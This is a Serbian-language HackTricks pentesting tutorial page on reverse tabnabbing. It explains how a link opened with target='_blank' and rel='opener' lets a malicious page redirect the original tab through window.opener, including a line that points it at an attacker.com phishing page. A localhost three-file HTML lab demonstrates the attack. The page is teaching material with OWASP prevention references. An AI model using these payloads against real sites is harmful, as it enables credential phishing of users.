hacktricks/pentesting-web/reverse-tab-nabbing.md
2024-02-10 13:11:20 +00:00

113 lines
6.5 KiB
Markdown

<details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Drugi načini podrške HackTricks-u:
* Ako želite da vidite **vašu kompaniju oglašenu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details>
# Opis
U situaciji kada **napadač** može **kontrolisati** argument **`href`** **`<a`** taga sa atributom **`target="_blank" rel="opener"`** koji će biti kliknut od strane žrtve, **napadač** može da **usmeri** ovaj **link** na veb stranicu pod njegovom kontrolom (zlonamerna veb stranica). Zatim, kada **žrtva klikne** na link i pristupi napadačevom veb sajtu, ovaj **zlonamerni** **veb sajt** će biti u mogućnosti da **kontroliše** **originalnu** **stranicu** putem JavaScript objekta **`window.opener`**.\
Ako stranica nema **`rel="opener"` ali sadrži `target="_blank"` i nema `rel="noopener"`** takođe može biti ranjiva.
Uobičajeni način zloupotrebe ovog ponašanja bio bi da **promeni lokaciju originalnog veba** putem `window.opener.location = https://attacker.com/victim.html` na veb koji kontroliše napadač, a koji **izgleda kao originalni**, tako da može **imitirati** **formu za prijavu** originalnog veb sajta i tražiti od korisnika pristupne podatke.
Međutim, treba napomenuti da pošto **napadač sada može da kontroliše prozor originalnog veb sajta** on može da ga zloupotrebi na druge načine kako bi izveo **skrivenije napade** (možda modifikovanjem JavaScript događaja da bi izvršio izvlačenje informacija na server koji kontroliše on?).
# Pregled
## Sa povratnim linkom
Veza između roditeljske i dečje stranice kada se ne koristi atribut za prevenciju:
![https://owasp.org/www-community/assets/images/TABNABBING_OVERVIEW_WITH_LINK.png](https://owasp.org/www-community/assets/images/TABNABBING\_OVERVIEW\_WITH\_LINK.png)
## Bez povratnog linka
Veza između roditeljske i dečje stranice kada se koristi atribut za prevenciju:
![https://owasp.org/www-community/assets/images/TABNABBING_OVERVIEW_WITHOUT_LINK.png](https://owasp.org/www-community/assets/images/TABNABBING\_OVERVIEW\_WITHOUT\_LINK.png)
## Primeri <a href="#examples" id="examples"></a>
Kreirajte sledeće stranice u folderu i pokrenite veb server sa `python3 -m http.server`\
Zatim, **pristupite** `http://127.0.0.1:8000/`vulnerable.html, **kliknite** na link i primetite kako se **URL originalnog veb sajta menja**.
{% code title="vulnerable.html" %}
```markup
<!DOCTYPE html>
<html>
<body>
<h1>Victim Site</h1>
<a href="http://127.0.0.1:8000/malicious.html" target="_blank" rel="opener">Controlled by the attacker</a>
</body>
</html>
```
{% code title="malicious.html" %}
```markup
<!DOCTYPE html>
<html>
<body>
<script>
window.opener.location = "http://127.0.0.1:8000/malicious_redir.html";
</script>
</body>
</html>
```
{% code title="malicious_redir.html" %}
```markup
<!DOCTYPE html>
<html>
<body>
<h1>New Malicious Site</h1>
</body>
</html>
```
{% endcode %}
## Pristupačna svojstva <a href="#pristupačna-svojstva" id="pristupačna-svojstva"></a>
U scenariju kada se dogodi **prekogranični** pristup (pristup preko različitih domena), svojstva instance JavaScript klase **window**, na koju se referiše JavaScript objektna referenca **opener**, koja može biti pristupljena od strane zlonamerne stranice, su ograničena na sledeće:
- **`opener.closed`**: Ovo svojstvo se koristi da bi se utvrdilo da li je prozor zatvoren, vraćajući boolean vrednost.
- **`opener.frames`**: Ovo svojstvo omogućava pristup svim iframe elementima unutar trenutnog prozora.
- **`opener.length`**: Ovo svojstvo vraća broj iframe elemenata prisutnih u trenutnom prozoru.
- **`opener.opener`**: Referenca na prozor koji je otvorio trenutni prozor može se dobiti putem ovog svojstva.
- **`opener.parent`**: Ovo svojstvo vraća roditeljski prozor trenutnog prozora.
- **`opener.self`**: Ovo svojstvo omogućava pristup samom trenutnom prozoru.
- **`opener.top`**: Ovo svojstvo vraća najviši prozor pregledača.
Međutim, u slučajevima kada su domeni identični, zlonamerna stranica dobija pristup svim svojstvima izloženim od strane [**window**](https://developer.mozilla.org/en-US/docs/Web/API/Window) JavaScript objektne reference.
# Prevencija
Informacije o prevenciji su dokumentovane u [HTML5 Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/HTML5\_Security\_Cheat\_Sheet.html#tabnabbing).
## Reference
* [https://owasp.org/www-community/attacks/Reverse_Tabnabbing](https://owasp.org/www-community/attacks/Reverse_Tabnabbing)
<details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Drugi načini podrške HackTricks-u:
* Ako želite da vidite **vašu kompaniju oglašenu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** Proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details>